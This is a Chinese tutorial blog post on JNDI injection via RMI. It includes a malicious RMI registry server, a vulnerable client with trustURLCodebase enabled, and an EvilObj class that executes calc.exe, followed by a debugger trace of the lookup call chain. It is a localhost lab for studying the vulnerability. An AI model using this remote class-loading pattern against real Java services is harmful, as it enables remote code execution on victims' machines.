java代码学习(十) ——JDNI注入
JNDI方便了与naming service和Directory service的交互,通过指定特定的URL即可与不同的服务进行交互。
JNDI中也存在RMI codebase的动态加载机制,动态加载发生于两个部分,Naming Manager和JNDI SPI。SPI部分就是相对应的服务的配置。
JNDI提出了Naming References的方法,返回相应的Reference而不返回具体的obj。统一由JNDI的请求端去加载指定的地址上的obj。这里加载方法中就包括远程codebase的方法。
服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class SERVER {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("EvilObj", "EvilObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("evil", referenceWrapper);
}
}
如代码所示,绑定rmi在1099端口,url为6666端口,使用naming的reference去返回对应的reference,加载由客户端自己完成。这一套加载流程都是固定的,在官网上能查到。
客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class CLIENT {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/evil");
}
}
由于测试版本为1.8.202,故加上 System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");。lookup为以rmi协议去请求服务端上的evil,即registry.bind绑定的evil。
EvilObj
public class EvilObj {
public EvilObj() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"cmd.exe","/c","calc.exe"};
rt.exec(commands);
}
}
注:python3开启http服务的快捷方式为python -m http.server +端口号
利用RMI进行JNDI注入
启动client的debug,把断点定在context.lookup。跟进
让我们看看 getURLOrDefaultInitCtx函数是做了什么?
该函数调用了四个函数,NamingManager.hasInitialContextFactoryBuilder、getDefaultInitCtx、getURLScheme、NamingManager.getURLContext。
hasInitialContextFactoryBuilder函数用来确定是否已设置初始上下文工厂构建器,如果已设置初始上下文工厂构建器,则为 true;否则为假。这里并未设置构建器,所以跳过。
getURLScheme函数则是通过判断:和/的方式,来确定协议的类型。在这里确定协议为rmi。
取出rmi。然后再getURLContext中进行连接。
最后很明显的,ctx不为空,返回值。
回到InitalContext的lookup函数,调用了GenericURLContext的lookup方法。
lookup方法的var1即是我们传过来的变量。var2是对我们传入的变量进行剖析分离。接着来到getRootURLContext方法。
可以看到,该方法把rmi、localhost、端口和evil给分离开了,然后再准备连入RegistryContext。
var3是对值进行一个封装
可以看到,接下来的步骤很明显就是要去请求RegistryContext的连接了。
RegistryContext.lookup
跟随lookup来到RegistryContext的lookup方法。该方法主要做了两件事,一是通过Registrylmpl_Stub
的lookup方法去找到传入的Evil对象。
Registrylmpl_Stub.lookup
RemoteCall是一个抽象,仅由RMI运行时(与远程对象的存根和骨架结合使用)来执行对远程对象的调用。
可以看到该lookup类主要是做序列化和反序列化的处理。序列化使用的是objectoutputstream。最后RegistryContext.lookup对其进行对象提取。例如evil,ip和端口号等。
RegistryContext.decodeobject
该方法先对传过来的接口进行判断,再确定传过来的类名。断点中的if判断用做对是否开启远程加载进行判断,因为笔者用的是jdk8_202,所以会有此判断。
NamingManager.getObjectInstance利用该方法创建文件。至此,调用链结束。
decodeObject:464,RegistryContext(com.sun.jndi.rmi.registry)
lookup:124,RegistryContext(com.sun.jndi.rmi.registry)
lookup:205,GenericURLContext(com.sun.jndi.toolkit.url)
lookup:417,InitialContext(javax.naming)
main:46,HelloClient
命令执行成功。